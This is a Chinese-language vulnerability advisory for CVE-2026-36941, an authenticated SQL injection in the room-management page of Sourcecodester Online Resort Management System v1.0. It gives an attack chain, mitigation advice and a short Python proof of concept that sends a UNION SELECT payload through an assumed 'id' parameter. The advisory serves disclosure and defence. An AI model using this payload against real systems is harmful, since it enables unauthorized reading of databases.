IPBUF安全漏洞报告
English
CVE-2026-36941 CVSS 2.7 低危

CVE-2026-36941 Sourcecodester 度假村管理系统 SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-36941
漏洞类型
SQL注入
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Online Resort Management System

相关标签

SQL注入CVE-2026-36941SourcecodesterWeb安全低危漏洞

漏洞概述

Sourcecodester Online Resort Management System v1.0 版本被发现存在SQL注入漏洞。该漏洞位于 /orms/admin/rooms/manage_room.php 文件中,由于未对用户输入进行充分的过滤和验证,导致拥有高权限的攻击者可以构造恶意的SQL语句并执行。尽管该漏洞的CVSS评分较低(2.7),且仅影响机密性,但仍可能导致敏感数据库信息泄露,对系统安全性构成潜在威胁。

技术细节

该漏洞的根本原因在于 /orms/admin/rooms/manage_room.php 在处理房间管理相关的请求时,直接将用户可控的参数拼接到SQL查询语句中,而未使用预编译语句(Prepared Statements)或有效的输入过滤机制。根据CVSS向量(PR:H),利用此漏洞需要攻击者具备高权限(通常是管理员账户)。攻击者在登录后台后,可通过修改HTTP请求参数(如id或room_id),注入联合查询(UNION SELECT)或布尔盲注Payload。由于攻击向量为网络(AV:N)且无需用户交互(UI:N),利用过程相对直接。成功的攻击可导致数据库中的低敏感度数据泄露,但不会破坏数据的完整性或可用性。

攻击链分析

STEP 1
步骤1:侦察与认证
攻击者识别目标系统为Sourcecodester Online Resort Management System,并获取管理员账户的高权限凭证(PR:H)。
STEP 2
步骤2:漏洞定位
攻击者访问后台管理页面,定位到 /orms/admin/rooms/manage_room.php 接口,并分析其参数传递方式。
STEP 3
步骤3:构造Payload
攻击者构造包含SQL注入语法(如UNION SELECT)的恶意参数,旨在读取数据库内容(如版本信息或用户数据)。
STEP 4
步骤4:执行利用
攻击者向服务器发送包含恶意Payload的HTTP请求,服务器后端未过滤直接执行SQL语句。
STEP 5
步骤5:数据泄露
服务器返回执行结果,攻击者从响应中提取敏感信息,达成低机密性影响(C:L)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Basic PoC for CVE-2026-36941 # Note: Requires high privilege (admin) session. target_url = "http://target_host/orms/admin/rooms/manage_room.php" # Attacker's session cookie (obtained after login) cookies = { "PHPSESSID": "admin_session_id_here" } # Malicious payload to extract database version # Assuming the vulnerable parameter is 'id' payload = { "id": "1 UNION SELECT 1, version(), 3, 4, 5-- -" } try: response = requests.get(target_url, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database version output.") # print(response.text) # Uncomment for debugging else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Sourcecodester Online Resort Management System v1.0

防御指南

临时缓解措施
在官方补丁发布前,建议管理员加强后台访问控制策略,仅允许可信IP地址访问管理后台。同时,部署Web应用防火墙(WAF)并配置针对SQL注入攻击的规则,以拦截针对 /orms/admin/rooms/manage_room.php 的恶意请求。此外,应定期审查数据库日志,监控异常的查询活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表